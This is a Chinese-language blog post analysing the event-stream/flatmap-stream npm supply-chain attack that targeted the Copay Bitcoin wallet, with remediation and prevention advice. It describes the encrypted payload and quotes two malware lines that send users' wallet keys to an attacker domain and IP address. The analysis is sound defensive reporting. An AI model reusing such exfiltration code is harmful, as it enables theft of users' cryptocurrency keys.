月下载千万的 NPM 包被注入恶意攻击代码的背后技术故事

2019-08-20 14:33:35 浏览数 (1)

想必各位前几天都被这个新闻刷屏了,千万 NPM 包被篡改,项目存在安全风险。本着对技术的好奇,我也去了解了一下到底它攻击了什么、如何修复这个问题、有什么办法可以解决这种攻击方式。

代码到底攻击了什么

首先罪魁祸首是这个 flatmap-stream-0.1.1.tgz 包,他被 event-stream 这个包所依赖。event-stream 包的周下载量高达 180 万。在两个月前,这个含有攻击代码的包就被加入到依赖中,但是直到本月 20 号才爆发了关于这个包的讨论。

并且这个攻击包做的很鸡贼,如果你打开 flatmap-stream 的 Github 页面,会完全发现不到任何的问题,但是在 NPM 上,这个包却被加入了攻击代码。

那么接下来就来谈谈这个包到底攻击了什么。其实它的目标是 copay,这是一个比特币钱包软件。flatmap-stream 它会扫描你项目中的 node_modules 文件夹,如果有 copay 这个的话,他就可以取到 package.json 文件中的 description 字段,对应的内容 A Secure Bitcoin Wallet 就会作为攻击代码的解密的 key,攻击代码是已 AES256 的方式加密的。

当获取解密后的攻击代码后,它会去替换 copay 中的获取秘钥函数为自己实现的代码,在这段代码中,它会将用户的秘钥发送到攻击者的服务器中

代码语言:javascript复制
sendRequest("copayapi.host", path, payload)
sendRequest("111.90.151.134", path, payload)

以上就是它的攻击过程,并且在攻击的时候他还很鸡贼的判断了比特币的网络,如果是 test 的话,就不作操作,因为在 test 网络下,虚拟货币就算拿到也不能换钱。在正式的网络中,代码就会进行秘钥上传,这样攻击者就可以获取你的钱包秘钥,从而从钱包中获取虚拟货币。

如何修复

其实修复的方式很简单,你只需要删除 node_modules 文件夹,然后重新安装依赖即可,目前 event-stream 已经移除了 flatmap-stream 依赖。

然后如果你全局安装过 nodemon 或者三大框架的脚手架,可以先全局卸载,然后再重新安装一遍

代码语言:javascript复制
npm uninstall -g nodemon
npm install -g nodemon
npm uninstall -g @vue/cli
npm install -g @vue/cli

对于这种攻击有什么好的解决办法

既然攻击出现过一次,那么后人就会去模仿,我们应该考虑有什么办法防止这类问题。其实在前端中有 CSP 这个东西,也就是内容安全策略,可以通过白名单的方式来防止不想要的访问和操作。

但是在 Node 中却没有 CSP 这个东西,当然前人肯定已经想到过会存在攻击的问题,intrinsic 可以做到类似 CSP 的机制。它也可以加白名单,但是有更强大的功能,比如限制文件访问系统、进程访问等等。

为了防止再出现这样大面积的问题,NPM 包的安全问题确实要关注起来。

以上就是本篇文章的内容了,同时也欢迎大家有所想法留下你想说的话。

0 人点赞